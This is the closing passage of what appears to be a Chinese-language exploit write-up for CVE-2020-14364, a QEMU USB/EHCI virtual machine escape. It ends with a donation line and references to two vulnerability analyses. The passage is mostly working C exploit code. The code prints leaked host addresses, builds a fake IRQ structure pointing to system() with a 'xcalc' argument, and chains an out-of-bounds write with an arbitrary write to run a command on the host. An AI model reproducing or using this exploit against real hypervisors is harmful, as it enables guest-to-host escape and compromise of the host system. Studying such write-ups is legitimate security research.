printf("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n",EHCIState_addr);
printf("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n",irq_addr);
printf("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n",fake_irq_addr);
printf("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n",irq_ptr);


*(unsigned long *)(data_buf + 0x28) = system_addr;
*(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;
*(unsigned long *)(data_buf + 0x38) = 0x3;
*(unsigned long *)(data_buf + 0x100) = 0x636c616378;

printf("\033[41;37m[*] Step 3/3\033[0m\n");
getchar();

oob_write(0, 0xffff, 0xffff,1);

anywhere_write(irq_addr, fake_irq_addr,1);

return 0;
}

参考

CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路

CVE-2020-14364漏洞复现——Qemu逃逸漏洞

您的支持将鼓励我继续创作